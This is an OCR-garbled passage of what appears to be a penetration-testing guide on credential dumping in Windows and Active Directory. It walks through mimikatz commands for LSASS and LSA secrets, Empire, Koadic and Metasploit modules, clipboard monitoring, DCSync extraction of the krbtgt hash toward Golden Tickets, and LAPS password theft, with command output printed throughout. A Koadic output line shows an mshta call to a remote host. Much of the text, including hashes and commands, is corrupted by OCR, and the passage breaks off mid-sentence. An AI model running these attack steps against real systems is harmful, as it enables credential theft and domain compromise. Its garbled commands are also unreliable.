mimikatz B sekurlsa::logomnpasswards

Opaning ! 'Ciumem.

Fiuthentication 1d = B JF4EYE
nEEELnn

Ueeyr Hane
Diama Lin

Logon Servers
Lngon Time
s1D

I waj

Mo =
LHHFHRAEA S | Frimapry
Uzermiamn ! wrai

Duma in

LA
Ml 1M
TH&1
taphy -
= UG ranams
= [lnmain
# Pazxwiarl |
i igesr =
= Usepname
# [nmain
B Paruaward
Eerhe Fa s
m ligmspnmamn
# [Opmain
# Pagaward

1Z34
a1
1Z34
K|

1Z34

Method 1: Task Manager

The Lsass.exe is renamed as LSA in Windows 10 and t
Authority” inside the task manager. It will also save t
steps as done above. Go to the Task Manager and exp
extract its dump as shown.

Local Security Author
LocalsennceMoMNetwor
Registry

Service Host: DCOM 5
service Host: Local Ser

Service Host: Local Ser

Serviice Host: Local Ser

Service Host: Local Ser

W W-HPHADBT 71 TR

dag® file Fer minidesnp. ..

L BB EEEY - AL 1 ha B )

ImEmpEsntiE=s Feom |

= WIN-HFHHEZFTITED
WIN-NFRREETL TKD

t B-1-5-21-3R@AFAIGEZ-20R1 BR46A—1 77351451008

¢ WIH-HFHHDITILTED
YRS BAB YT 2 F asd T h-E 35 bS] Al
E P11 AeHsen A F B oo b bl B dhlk a1
I 139F 69T e hale P S Rec S iBEG S chceccalf hif

& |1
E WIH-HPMAETTFITEDR

t WIH-HPHRABT7ITED

WINDOWS 10(LSA) Credential Dump

he process can be found by the name of “Local Security
1e dump file in .dmp format so, again repeat the same

ore the process for Local Security Authority, then

Expand
End task
Frovide feedback

Resource values
Create dump file

30 to detals

Open file location

Search online

Properties
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' You will get the “Isass.DMP” file inside the /Temp directory of the user account directory under
/AppData/local.

The fie has been successfuly created.

The file is located at:
C:\Users'vaj App Data' Local Temp Jzass DMP

Again, repeat the same step and use mimikatz to read the dmp file.

Since it was Windows 10 therefore, the level of security get increases and we have obtained the password
hashes, as you can see from the given below image.
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sershyralvAppDatall

aj\AppDatai\Local\Temg

SE0a86a00 BeB 3 leac )

T | ram 1

RGP 2091
RGHF 2001

T:33:41 A
603508105-06680816-1185840621 -1061

Ms v
GLEEEEGEEY
* Username

.l
d |
DESKETOP-RGP209L

.I.'r.l.-' i i
gl - i L et

Tl o W Y A T

Username : raj
Domair DESKETOP-RGP 209

1
FaSShl g  (nulli
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Method 2: Mimikatz Parameter-patch

| The “-patch” parameter is patching the samsrv.dll running inside Isass.exe which displays LM and NT hashes.
So, you when you will execute the following commands it will dump the password hashes.

1katz 2.2.8 :Ehi; #1346, Mar H a8 1H sl 47
‘A La Vie, A L'Amour”™ - {(oe.ad)
Benjamin DELPY "gentilkiwli { benjaminggentilki
v http://blog.gentilkiwi.com/mimikatz

rincent . letouxjgema
=

rLiEZ:“TTb“dPL]UE-h.ELH

mimikatz # lsadump::lsa Spatct
Domain : DESKTOP-RGP209L / S-1-5-21-693598105-

PEAHAL A4 -iﬁﬂ_

- .
= A ) - =
"'.jl _I e 0 '.I-.-.

peeaelf7y (503

DetaultACCcount

pagopiet (1001)
-._-.|:

Jdbdesayd71698a7069204bebh12283678

LL®

eddB810648111caBcBS4ARBScc1c297F 758
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Method 3: Mimikatz Token-elevation

We are using mimikatz once again to get the hashes directly, without involving any dump file or DLL execution
this is known as “Token Impersonation”. As you can observe, we got an error when we try to run the following
command as a local user.

a domain admin token and as the result, you will able to dump the password in cleartext.

I This can be done by impersonating a token that will be used to elevate permissions to SYSTEM (default) or find
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Method 4: Editing File Permission in the registry

The LSA secrets are held in the Registry. If services are run as local or domain user, their passwords are
stored in the Registry. If auto-logon is activated, it will also store this information in the Registry. This can be

done also done locally by changing permission values inside the registry. Navigate to
Computer\HKEY_LOCAL_MACHINE\SECURITY.

Lompuls Data
HEEY CLASSES ROOT
HEEY CURRENT_USER
HEEY L AL MACHIME
BIC DO0000000
H&RDWARE
SaMd

J SECURITY I
SCFTWARE
SFLTEM

HEEY_USERS

HEEY _LLUREREMNT CCIMNFKS

'value maot set)

Expand the SECURITY folder and choose permissions from inside the list

B Registry Editor
File Edit WView Favontes Help
Computer HREY_LOCAL_MACHINE\SECURITY
w Ll C omputer Mame Data
HEEY _CLASSES RO
HKEY CURREMNT _LUSER
W HEEY LOCAL MACHINE
BC DO0000000
HARDWARE
LA
aECLUIRITY
SOFTWA Eaprand
SYSTEM Mew
HKEY_LISER Find...
HEEY CLRF

abe (Diefault) fyabue mot sek)

[elete

Aename

Export
Permitiiani..,

Copy Key Name

www.indiancybersecuritysolutions.com




Allow “Full Control” to the Administrator user as shown.

LY

WD OF LFS names
ARk SYSTEM

I :I S v ey IEE'EI"-_I:IF-FJ.'IFE'I'.I‘.I-.'--"-:-I'rHrHI:T'ILI

Y| o e

Parrismanre dor Acmeesrl o, ow | Ty

Full Conird -~ L]

Fimag o] [ ]

o et R At r R L )
For soeecis pesTragars of sdvanced sefirags. "
. Mk dmrred rey

Rl Carcel e

As you can observe that this time, we can fetch sub-folders under Security directories.

)

Computer HEEY LOICAL M ACHRME,SECLIE "'rl

v Ll Corn pulsi Lame e Lata

I"E.E.II_I..-;E.:[..J_F!Er:T sk ||-.|I'.'|I='-ﬂ:.| iyl not ekl
HEEY CUREENT LGER

W HEEY _LOLAL ST HIRE
B D00
HaFD W ARE
kb
SECLIRITY

Cackw
Pohcy
RAEACT
SE 1A
SOFTWARE
S STEM
HEEY LISERS
HEEY _CURFEENT_LOUNHG
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S0, once you run the following command again, you can see the credential in the plain text as shown

Method 5: Save privilege file of the registry

Similarly, you can use another approach that will also operate in the same direction. Save system and security
registry values with the help of the following command.
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As you can see if you use the “Isa::secrets” command without a specified argument, you will not be able to
retrieve the password, but if you enter the path for the file described above, mimikatz will dump the password
in plain text.
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PowerShell Empire

Empire is one of the good Penetration Testing Framework that works like Metasploit, you can download it from
GitHub and install it in your attacking machine to launch an attack remotely. This is a post exploit, thus first
you need to be compromised the host machine and then use the following module for LSA secrets dumps

As a result, it dumps password hashes saved as shown in the given image.

{Empire: )} » usemodule cE;dentiaiifmimikatzflsadump
(Empire: )} » execute

({Empire:
Job started: CP2E6MA

Hostname: WIN-NFMRD3ITITED / S5-1-5-21-3808983562-2B018846@0-17735145

mimikatz 2.1.1 (x64) built on Nov 12 2817 15:32:0@
. "A La Vie, A L'Amour® - (oe.eo)
& JSe+vx Benjamin DELPY "gentilkiwi ™ { benjaminggentilkiwi.com )
* http://blog.gentilkiwl.com/mimikatz

Vincent LE TOUX ( vincent.letouxmemail.com )
*» http://pingcastle.com / http://mysmartlogon.com  wewSf

mimikatz{powershell) # lsadump::1sa /patch
Domain : WIN-NFMRDIZITED / 5-1-5-Z21-10QB9RIS67-28Q18B460-17735%145

RID - sdépdlfy (508 )
User : Administrator
LM 5
NTLM :

RID : ee|dlfs (501)

User : Guest
LM g

NTLM :

RID : @ddde3ed (1041)
User : pentest

LM -
NTLM : Tcellfliclaee?fb9cebas32désSstads

RID : oadealed (1080)

User : raj

LM H

NTLM : 3dbde&37d71699a769204bebl2283678
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Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration
testing tools such as Meterpreter and Powershell Empire. It allows the attacker to run comsves.dll that will
call the minidump and fetch the dump of Isass.exe to retrieve stored NTLM hashes. Read more from here

As a result, it dumped the password hashes saved as shown in the given image.

koadic:

koadic:
Zombie
Zombilé
Jombie
Zombie
Zomble
Jomb e
fombie
| Zombie
Zomble
|+] Zombie

TEERTERRREE

Job
Jab
Jahb
Job
Job
Jab
Jab
Jaob
Jab
Jab

psv Ccredentials

Username

Domain

USiEE CDOESYLS _1 =T b
eNecCute
@ (implant/gather/comsvcs_lsass)
@ (implant/gather/comsvecs_lsass)
@ (implant/gather/
@ (implant/gather/comsvc
@ (implant/gather/comsvcs_lsass)
@ (implant/gather/comsvcs lsass)
@ (implant/gather/comsvcs_lsass)
@ (implant/gather/comsvcs_lsass)
@ (implant/gather/comsvcs_lsass)
3 fanlﬂu1fgm!hurftnnhu:ﬁ_lhahﬁ]

NTILM

created.
Detected lsass.exe process ID: 6&@ ...
Creating & MiniDumsp with comsvcs.dll ...

as5) Finished creating MiniDump ...

Downloading Lsass bin file ...

Download compléte, parsing with pypykatzr ..
Removing lsass bin file from target ...
completed.

lsass.bin saved to Stmp/lsass.192.168.1.1@
Results

2HAl

JdbdesSTd7169BaTE9284beb1 2283678 Bd539958842 79556cda7191E02d

Domain

DESKTOP-RGP2OSLS WORKGROUP

raj

DESKTOP-RGP20SL

kerberos credentials

r'd]

VESKTIW=-RGFIDYL
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Method 2: Load PowerShell

' Similarly, you can also load PowerShell in the place of kiwi and perform the same operation, here we are using
the PowerShell script of mimikatz. This can be done by executing the following commands:

This will be dumping the password hashes as shown in the below image.

meterpreter > load powershell

Loading extension powershell ... Success.

meterpreter > powershell import /root/powershell/Invoke-Mimikatz.psl
[+] File successfully imported. No result was returned.

meterpreter » powershell_execute Invoke-Mimikatz -DumpCreds

|+] Command execution completed:

mimikatz 2.2.0 (x64) #1B362 Oct 30 2019 13:01:25
"A La Vie, A L'Amour" - (oe.eo)

RERER .
~ .

f N\ #t [féex Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
AWK
!

.
F=n
i » http://blog.gentilkiwi.com/mimikatz
]

Vincent LE TOUX ( vincent.letouxagmail.com )

L
"HERUR' > http://pingcastle.com / http://mysmartlogon.com ek

mimikatz({powershell) # sekurlsa:: logonpasswords

Authentication Id : @ ; 212652 (000000008:00033eac)
Session : Interactive from 1
User Name : raj
Domain : DESKTOP-RGP209L
Logon Server » DESKTOP=-RGPZOOL
Logon Time : &/BS2020 T:33:41 AM
21D i 5=1-5-21-693598195-906689810-1185849621-1801
msv :
[G0000003] Primary
* Username : raj
* Domain : NFSKTOP=RGPINGI
* NTLM : 3dbdet97d71698a769284bebl122B83678
* SHA1 : Bd5399508427ce’9556cda/1918020c1eB8d15b53
tspkg :
wdigest
* Username : raj
* Domain : DESKTOP-RGP20O9L
* Password : (null)
kerberos :
* Username : raj
* Domain : DESKTOP=-RGP209L
* Password : (null)
SSp
credman :
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Method 1: Load Kiwi

As we all know Metasploit is like the Swiss Knife, it comes with multiple modules thus it allows the attacker to
execute mimikatz remotely and extract the Lsass dump to fetch the credentials. Since it is a post-exploitation
thus you should have a meterpreter session of the host machine at Initial Phase and then load kiwi to initialise
mimikatz and execute the command.

meterpreter > load kiwl
Loading extension kiwi ...

aunes. mimikatz 2.2.0 20191125 (x64/windows)
"A La Vie, A L"Amour” - (oe.eo0)
fuww Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
*» http://blog.gentlilkiwl.com/mimikatz
Vincent LE TOUX ( vincent.letoux@dgmail.com )
> http://pingcastle.com / http://mysmartlogon.com k)

SUCCEss.
meterpréeter > lsa_dump_secrets
L+] Running as SYSTEM
Dumping LSA secrets
Domain : DESKTOP-RGPZO9L
SysKey : 5738fbledeld5807545d124d68cf48c7

Local name : DESKTOP-RGP209L ( 5-1-5-21-693598195-96689818-11850849621 )
Domain name : WORKGROUP

Policy subsystem is : 1.18
LSA Key(s) : 1, default {c&91b5de-53a7-f730-edld-44571088ed9@}
(@8] {c491b5d@-53a7-f730-edld-44571080ed90} dadl@Zb3ieZesflébdaste5761bffefbaa2

Secret : DefaultPassword
old/text: 123

Secret : DPAPI _SYSTEM

cur/hex : 81 008 0@ @@ 29 &6 cf 2c o1 aa 31 B8 Ba &9 e4 71 Of ec 21 ff db &5 7a
full: 2946ct2celaalilBBBaeSebk?l1Bfec2lffdbi57aTbel539545desBabb2elccTblBecBic
mfu : 2946cf2celaalilBBRaef9estT1dfec21ffdbas7a7h / e1539545de5B8asb62elcc761Bec

old/hex : @1 @08 8@ @@ cl1 63 &8 B3 3e ed 79 4F 1f be cd 9b e5 bf 76 27 c5 ad 18
full: cl63408833eed?96Tl1fbecd9besbf7627c5adl1B8b3dThb2b@95487164bebcadf15e3674]
mfu : cl6340R33eed?94F1fbecd9beShbf7627c5ad18b3 / d7b2b@95487164be6cadf15e36

Secret : HNLIKM

cur/hex : cd 77 6B B B& &7 ald b5 6f c1 6Ff 94 ca ba Ba 25 33 ff Te 9b &
old/hex : cd 77 68 eB B& e7 ad b5 6f cl 6Ff 94 ca ba da 25 33 ff 7e 9b &
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CrackMapExec

CrackMapExec is a sleek tool that can be installed with a simple apt install and it runs very swiftly. LSA has
access to the credentials and we will exploit this fact to harvest the credentials with this tool so we will
manipulate this script to dump the hashes as discussed previously. It requires a bunch of things.
Requirements: Username: Administrator Password: 1IGSS IP Address: 192.168.1.105 Syntax: crackmapexec

smb [IP Address] -u ‘[Username]’ -p ‘[Password]’ -Isa

5 =4 'Mministrator' -p ICSS
TEMTYLIOZ Windows S=rver LG
FERTYLOYF [+] TENITE'ASminisrrator
TERETYLDI | Demyine L5358 serreTs
TEMTYLOZ i I

rEMTVLOZ IITE\WIN
IN-SEVTENTVLODY IGHITE'WIR
IN-58VTEMTYLOZ

JTEMTVLOF o

[N
1%
. 18
[0
14
. 18
. 1
L
1%
.16
L

i CA LA LG A DA LT L O
s R E s e
el - = o aE A

IN-SHVTENTVLOE NLSS
IN-SAVTEMTVLDZ  [+] Dump

[ " - B | [} 1 B
o o N EEW WY
- = = s m m = w = [
i ik [ i e i i T
B3 LS B B B LN R B3 bE A Ea
= e L
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CREDENTIAL
DUMPING: Clipboard
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Credential Dumping: Clipboard

In our practise, we have used bitswarden password manager to keep our password secure. It’s feasible to use
and even if we forget our password, we can just copy it from there and paste it where we require it. As you can
see in the image below, we have saved our password in bitswarden. And we copy it from there

rajchande|
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PowerShell Empire

If these credentials are copied by someone then we can retrieve them by using various methods. PowerShell
Empire has such a module; after having a session through the empire, use the following commands to execute
the module:

(Empire: ) » usemodule collection/clipboard _monitor
(Empire: ) » execute

(Empire:
Job started: WUSATI1

— h:53:82

If these credentials are copied by someone then we can retrieve them by using various methods. PowerShell
Empire has such a module; after having a session through the empire, use the following commands to execute

the module:
| R -
&« C'
@ Login
== Card
cpa =] Identity
) Secure Note
Usernarme
rajchande
l- ICSS server & q,
Password Copy Passward
sessssesnnni
.
English — funrapcom tedtina - n E ﬂ:::
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Then those credentials will be displayed in the console as shown in the image below:

[Empire: 1 * usendsdule collegtion/elipboard _moaitar
(Empira: } » axecuts

[Empire:
Job Started: CYVELK

mm Get-ClipboardContents Starting at 11/84/20208:87:81:84:96 ==

- 10T 2 =

https:/ fignites gies.in: 2983/

LS L Pgrd PR ORI PR RS

L C i nids 1

-_— Ll e TR0 R R L -

vl , ¢ INnYSH Y B E
. -

In Metasploit, when you have a meterpreter session, it provides you with a different set of commands. One of
those commands is load extapi, this command opens a door to various features of the meterpreter session. All
of these features can be viewed using a question mark (?). One feature of extapi is clipboard management
commands. We will use a clipboard management command through extapi to dump the credentials which can
be copied to the clipboard. For this, type:

meterpreter > load extapi<f
Loading extension extapi ... Success,

meterpreter > clipboard monitor start

[+] Clipboard monitor started
meterpreter > clipboard_monitor_dump <
Text captured at 2020-84-11 14:11:27.08374

L+)] Clipboard monitor dumped
meterpreter > W
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Koadic

' Just like PowerShell empire, Koadic has an inbuilt module for dumping the clipboard data. Once you have a
session in koadic, type the following commands to get the clipboard data:

koadic: ‘ use clipboard
koadic: # execute
Zombie @: Job @ (implant/gather/clipboard) created.
[+] Zombie @: Job @ (implant/gather/clipboard) completed.
Clipboard contents:
mshta http://192.168.1.112:9999/BLqx]
koadic: i execute
Zombie @: Job 1 (implant/gather/clipboard) created.
l+] Zombie @: Job 1 (implant/gather/clipboard) completed.

Clinhnard contente:

- —

vM.h2cINnVBB\b~"

And this way, again, we have the credentials.
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[ ————————

CREDENTIAL
DUMPING: DGSync Attack

What is DCSync Attack?

The Mimikatz DCSYNC-function allows an attacker to replicate Domain Controller (DC) behaviour. Typically
impersonates as a domain controller and request other DC’s for user credential data via GetNCChanges. But
compromised account should be a member of administrators, Domain Admin or Enterprise Admin to retrieve
account password hashes from the other domain controller. As a result, the intruder will build Kerberos forged
tickets using a retrieved hash to obtain any of the Active Directory ‘s resources and this is known as Golden
Ticket attack.

Mimikatz

So, here we have a normal user account, hence at present User, Yashika is not a member of any privileged
account (administrators, Domain Admin or Enterprise Admin).

When the attacker attempts to execute the command MimiKatz-DCSYNC to get user credentials by requesting
other domain controllers in the domain, this will cause an error as shown in the image. This is not possible.
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| So now we have granted Domain Admins right for user Yashika and now yashika has become amember of
domain Admin Group which is also AD a privileged group.

vasika Properties

Remole [eskdop Sernces Pofile Lo - Atrbute Edtor
|amryara “oddrese AT Prohl= Teesphoes Cegarerabon
Sl Bt 0 Lk s O Femote contro
Published Cerificates  Member P Password Repbcstion  Disbin Obiect

Wamber of

Marrs Agtivie Chrecdony Cloman Sareces Foldes

ICSS local/user

Diomrain Lisers ICSS local/user

Add Flesmiorae

Hariay = N E Lhoimide™ |

PRl o TS M !:--:I'.:l'll;l'.' FRrafy oo ks
ol hideel Macentcdh el of PUS L soiapia
R e

We then confirmed this by listing the details of user Yashika ‘s group information and found that she is part of
the domain admin group.
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Now let ask for a credential for KRBTGT account by executing the following command using mimikatz:

As a result, it will retrieve the KRBTGT NTLM HASH, this hash further can be used to conduct the very famous
GOLDEN Ticket attack, read more about it from here.

2 2l 1612351

L o o s . e e ) | | i
LVETH | ST Tt IL1LAIK1WL . CCH
com/mimikatz
E TOLX [ vincent.letouxi@gmall .com )

f/pingcastle.com / http://mysmartlogon.com s’

mimikatz # lsadump::dcsync /fdomain:i
[DC] "igni
[DC] "WIN-SeV7KEMTVLD2.ignite.local’ will

[DC] "krbtgt® will be the user account

x local” will be the domain

( USER OBJECT )
[ ACCOUNTDISABLE NORMAL ACCOUNT

¥455-2614958430-582

M: f3bcele97tbl4d18ca42bcbhbfec3Ia9@s5tf
B: fibctled?fbl4d18c42bcbfoc3af9asst
B 439bd1133fF2066dcdf57d6664530dc54

Ssupplemental Credentials:
Primary :NTLM-Strong-NTOWI

Random Value @ 469Bd716313a2284dcaatddcc3d4+8babl

=
-
| |

".-.i.-.l__-”-..

Default Salt :

Detault Iteratior

Credentials
aes256 hmac (4896) : Beeldedlf59318c961d9basSe83id41falofBebeediflcB8doboaEa9
aesl28 hmac (4896 ) : S5flatdbcdebdSlleiddtraaedcibd fB51

des cbf mds (4806) : eb6b30eedibdcS24E
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[Empire: } » usemodule credentisals/mimikartz/dcsync

LEmplire:
(Empira

] * 88l user kKrbtgrt
Y » eXeCuTs

[Empire
Job started: WREHDAH

Hostname: DESKTOP-RGPIOYL.ignite.local / 5-1-5-21-3%2385T000-25060504455-2614950434

-EEEETY, mimikaty 2.2.8 (x6&) FIAIGE Apr X1 2028 12:43:25
R " . A La Vie, A L'Amour® - {oe.@0)
B /% BF Sewd Benjamin DELPY “gentilkiwi”™ [ benjaminSgentilkiwi.com )
By N/ Bd * http: /fblog. gentilkivwi.com/mimikatz
'l v Rl Vimceat LE TOUX L vincent,letcuxdgmalil,.com )
"EREAR » http:/fpingcastile.com S/ hitp:/Seysmartlogon, con drir

mimikatz( powershell) & 1sadump ;zdcsymc Suser:krbtgt

LBC) “"ignite.lecal’ will be the domain

[BC] "WIN=SNTENTYLDZ, igmite.local” will Be the DL server
[BC] “krbigti® will be the wser accoumt

object RDN : krbtgt

e SANM RCCOUNT

SAM Username r krbtgt

Account Type P Jediped ( USER_OBIECT )

User Accownt Control ;o A0@e2d2 [ ACCOUNTDISABLE NORMAL_ACCOUNT )
Account explratiom

Password last chamge :@ &4/15/72@28 5:42:33 AM

Object Security ID I 5-1-5-11-350 355 /0102 SB0REEAS S - 2014950 I0-240 ]
object Relative ID -

Credantials!:
Hash NTLMN: filbcéled7fblédlBcélbecbfEcIagasst
ntlm- @ flbcéle9¥FbhladlbcidbebfécIaadssif
lm - @ &39bA1133F2P66AcAFSTIGHRES530dC54

Supplemental Credentials:
# Primary:NTLM-Stromg-NTOWE &
Random Valwe : 69847163 1ka22@scaafesdecisf®babl

+ Frimary:EKerheros-Newer-Keys +
Default Salt - IGNITE. LOCALKrbtgt
Default Iteratiocns : &@90
Credentials
aesd56_hmac [4@9R ) : Bealéa@dlf533dcUldehasedislfalefdehendiTlcBidEhEenART4T3
aesiif_hmac (&9} : sflafdbcdB®es 1183441 aaedcIhasTASY
des che mds (L89G} @ ebbl9ee91b4chliub

# Primary:Kerberos &
Default Salt IGNITE. LOCALErbt gt
Cradantials
des che mdS - ehbl9eeYibbcS Ll

Likewise, the Empire has a similar module that retrieves the hash of the entire domain controller user’s
account

www.indiancybersecuritysolutions.com



Similarly, for every user account in the domain with the same command, we can obtain credentials. Here, it
not only requests the current hash but also seeks to get the previous credentials stored.

PowerShell Empire

If you want to conduct this attack remotely, PowerShell Empire is one of the best tools to conduct DCSYNC
attack. Only you need to compromise the machine that is a member privilege account (administrators, Domain
Admin or Enterprise Admin) as shown here.

(Empire: ) » shell whoami /groups

(Empire:
GROUP INFORMATION

Everyone Well-known
BUILTIN\Users Alias
BUILTINVAdministrators Alias

NT AUTHORITY\INTERACTIVE Well-known g
CONSOLE LOGON Well-known )
NT AUTHORITY\Authenticated Users Well-known
NT AUTHORITY\This Organization Well-known
LOCAL Well-known
IGNITE'.Domain Admins Group
Authentication authority asserted identity wWell-known group
IGNITE\Denied RODC Password Replication Group Alias
Mandatory Label‘\Medium Mandatory Level Label

LB LLLL
b R

.« Command execution completed.

Now load the following module that will invoke the mimikatz Powershell script to execute the desync attack to
obtain the credential by asking from another domain controller in the domain. Here again, we will request for
KRBTGT account Hashes and as result, it will retrieve the KRBTGT NTLM HASH.
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(Empire: 1 » usemodule credentials/mimikatz/dcsync hashdump
(Empire: ) * execute

(Empire: ) >
lob started: KGDZIMX

Administrator: 500 aadibd 35h51684eeaadibiiShS 1408480 : 32 196LSEFfeAF45e 294117001 aR3BFIR - -
Guest:5B1 NONE :::

Dt f Al tACCHAT - 583 I NONE : -:

krbtgt:502:aad3b&35b51404eeaadibs35b514B4ee: F3bcb1e97fbl4d18c42bcbfoc3a9@55¢f 11
vashika: 1681 : aad3b4 35065 1 504eeand3b43505]1 4086 b4 Thaed lccIG2Fc2bafoTchder1S1edd o ::

geet:1602:aadib435b514B84eeaadibe3Sholsdben 64 fhbaellccis2fc2baf97chdef151ed83 11
AArti1: 1683 aad3bsisShb514Bseeandibsibbslstbee  0afhaellcciIf2fe2batacbdet1S]edd o

kavish:1684:aadibs35b5148&eecaad3ibsishSl4bsee : 455927 fodasSaTidschcalsdfea3B90d & :

Metasploit

| If you have a meterpreter session of the victim machine whose account is a member of domain admin, then
here also you can execute Mimikatz-DCSYNC attack to obtain the user’s password.

mElErpreter > getuld
Cerver wsername: IGNITES\yashika

neterpreter > shell

Profess 4748 Ccreated,

Chanmel 1 created.

Microsaft Windows [Versiom 198,.8.18362.778]

(c) 2819 Microsoft Corporation. ALL rights reserved.

Coysersiwashika'\Doenloads>whoami Sgroups
whioanl JSgrougs

GROUF TNFORMAT TN

Evarypne Well-known group S=1-1-#
HUILTINPsErs Alias 5-1-5-3F-545
BUILTINVAdministrators Alias G-1-5-37-544

NT AUTHORITYS\INTERACTINE el 1 - kripwm group S5=1=-5-4

CONSOLE LOWEDN Hell-known grodp S5-1-7-1

NT AUTHORITY\Authenticated Users Well-known group 5-1-5-11

NT AUTHORITY\This Orgamization Well=known group 5-1-5-15

LOCAL Hell-known group S-1-7-4

IGHNITE Domain Admins Graup 5-1-5-21-353355;
Authentication awthority asserted idemtity Well=-known group 5-1-1B-1
IGNITEN\Denied RODC Password Replication Group Alias G=1=5=-21=352355;
Mandatary Label'iMedium Mandatory Level Label 5-1-16-8192

f:3uiﬂr51yagﬂ:knhnn-ninndﬁjl

If your compromised account is a member of the domain admin group, then without wasting time load KIWI
and run the following command:
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As a result, we found the hashes for krbtgt account and this will help us to conduct Golden Ticket attack
further.

meterpreter > load kiwi

Loading extension kiwi ...
_ARARE. mimikatr 2.2.8 20191125 { x6& windows )
EF B, "A La Vie, A L Amour® - (oe.eo)
% S N\ & Sesx Benjamin DELPY “gentilkiwi”™ ( benjamin@igentilkiwi.com )
L AN » hittp:/fblog.gentilkiwi.com/mimikatz
- ov Vincent LE T ( vincent.letouxoemail .com )
CAARRR’ * http:/fpingcastle.com / http: /fmysmartlogon.com ek

SUCCESS .

ReLerpréeter » desync_ntlm kKrbtgt

[#] Account : kvhiol

[#] NTLM Hash : f3bc6le97fblédlBca2bbf6cIa®@nsy

[#+] LM Hash : 439bd1133F2966dcdfSTdeERA5IRCE4
[+] SID 5-1-5-21-3523507018-25065904455-26149504.30- 542

l#] RID 1 F.

meterpreter > desync krbigt

[DC] "ignite.local' will be the domain

[DC] "WIN-S@VTEMTVLDZ.ignite.local' will be the DL server
|DC)] "krbtgt’ will be the user account

Object RDN : KErbtgt
v SlM ACCOUNT

=AM Lsernams » ETDEET

Account Type r J0000ReR [ USER_OBJIECT )

User Account Control : @@9@@2i2 ( ACCOUNTODISABLE NORMAL ACCOUNT }
ACCoUnT exXpliration :

Password Last change : &/15/2828 5:42:33 AM

Object Security ID i 9=1=5=211=352355TR10=258690&455=2614958430=501
Object Relative ID haz

Credentials:
Hash NTLM: fibctled7fhlidiBes2bebFecIanassf
ntlm- @: tibcEled97tblsdlBoadbcbi6cIamBs5Y
lm - @: &39bd1133F2966dcdf57d66@&53%dc54

Supplemental Credentials:
& Primary:NTLH-5t rong-NTOWF «
Random Value : 46984716313a22@b4caafidecisfibabl

& Primary:Kerberos-Newer-Keys
Default Salt : IGMITE.LOCALkKrbtgt
Default Iterations : &096
Credentials
arsd5h hmac [&05E5 ) : Beelse@lfSO038c961d9baSeRiLf]lfal9fBebeediflc@id
aes128 hmac (4@06) : SflafdbedddsSiidisdfaaedeibisTEST
des_che_mdS (4896) : e6b3eedIbbc5246
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CREDENTIAL DUMPING: LAPS

Configuration

This attack is being tested on Windows Server 2016 & Windows 10, and you can use the reference link above
to configure it. When you install LAPS at some time, you will need to select the feature for the management
tool installation. Choose “Will be installed on the local hard drive” under Management Tools for fat client U,

PowerShell module, GPO editor Templates.

EJ Local Admanistrator Fassword Solubion Setup -

Custom Setup .
Salect the way vou want features to be nstaled. ‘ l."

Chck the icons in the tree below to change the way features will be instaled.

= - | AdmPwd GPO Extension Instale management tools. This
= component does not need to be

= : : . 1
= Wil be mstalled on local hard drrve :I.E: ar n

=8 Entire festure will be installed on local hard drive

F®  Will be installed to run from network

j','; 8 Entire feature will be installed to run from nebwork

b4 Eritire feature will be unavailable

Elack Cancel
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| Further, continue with your installation and configuration with the help of an official link and follow the same
steps for the Client.

ﬂ Local Administrator Password Solution Setup X

Custom Setup .
Select the way vou want features to be nstalled. "f-?‘

Click the icons in the tree below to change the way features wil be instalied.

AdmPwd GPO Extension Installs ADMY templates for GPO

Management Tools editor. Typically need to be installed
—3 = | Fat chent Ul on madhine where GPOs are edited

Powershell modulke
GPO Editor templates

This feature requires BKB on your
hard drive,

Then we have run the following command in PowerShell that will integrate LAPS on our OU “tech”
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Now set up a group policy on LAPS by navigating to: In the GPO, go to Computer Configuration > Policies >
Administrative Templates > LAPS Enables the following settings: « Password Settings < Name of an
administrator account to manage. « Enable local administrator password management.

& 5 ||ll|_ el

Now navigate to Active Directory Users and computers, then select the OU for your LAPs

_: Active I::Iirl:-rrg*-_,- Users and Computers
File  Action  Vieew Help
o | Add/Rermave Columas,.,
— Actre Dure Large bcons Descriptian
Saved ( Small keons
w g ngrite.h List
Buil i
& Detail
| Cor
3| Dor Users, Contacts, Groups, and Computers as containers
| For »  Advanced Features I
Koy :
Loc itter Uiphions.
Pai Customize..,
Flrl:'l.l idEll AELE
| System
2| Tech
LISers
MNTODS Quotas
LREA DL o nr
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| Now to ensure that it is working fine, let’s check the password given by LAPs to CLIENTT in its properties. As
you can observe in the given below image the LAPS has assigned the random password to the client1.

C amplisds

Fik Acton WVees Hep
‘=l . j H E }
o Active Dieectony Users and Com || fame
- Hl:tl:l-..uﬁt:- E-HH:
¥ #a wgnitelacal P CLIENT
Eiahin N

I:'I ENT1 Properies |

= | Deman Centraller:

FormgnSecuntyPrngip

TyFe
User

Computer

Gareesl  Opsesieg Sywmam Memies OF

Ky LoC-aan Waraoed Dy Ciodesi el
L ot dunadf pouned
Mansged Service cra| TR
Frogeam Data it de W
Ayalefm raaI5-FTFFiasl ‘1ol et s
= | Tih g remgg HlasnAkyor . <ol S
Usem __muinagrg Thurbean _<nol mats
FITDE Cuctas P T T B F - P gl |
TP Deces L F S e e - T E RS e s E R i F

Similarly, with the help LAPS application, we can search for a password for any user’s password, as we have
looked for client1’s password. | Hope, till here you have understood the working and importance of LAPS in any
organization. Now let’s we how an attacker can take advantage of LAPs and dump the user’s credential.

B Laps Ul

Compuiartlama
LLIENTI

Pasward
E. %) O0FcE (x4

= et R Y - I 1

6/25/2020 1:34:17 PM

MNevw sxprabon ime

Toesday . May
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PowerShell Empire

The same can be done with the help of PowerShell Empire, it allows an attacker to dump the enduser's

credentials through a compromised account. It uses a PowerShell script to get the LAPS password with the
help of the following:

Similarly, we it will also dump password in cleartext; thus, an attacker can access the other machine present
in the network with the help of extracted credentials.

(Empire: )} » usemodule credentials/get_lapspasswords
(Empire: ) » execute

(Empire:
Job started: BHFECR

Hostname  : WIN-SOV7EMTVLDZ. '  Local
Stored = @

Readable : @

Password 3

Expiration : MA

HoS tname : Clientl s local
Stored i |

Readable : 1

Password r kLY )BEcB] X4 rSwW
Expiration : 6/25/2020 1:34:17 PM
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CREDENTIAL DUMPING:

Domain Cache Credential
Domain Cache credential (DCC2)

Microsoft Windows stores previous users’ logon information locally so that they can log on if a logon server is
unreachable during later logon attempts. This is known as Domain Cache credential (DCC) but in-actually it is
also known as MSCACHE or MSCASH hash. It sorted the hash of the user’s password that you can’t perform
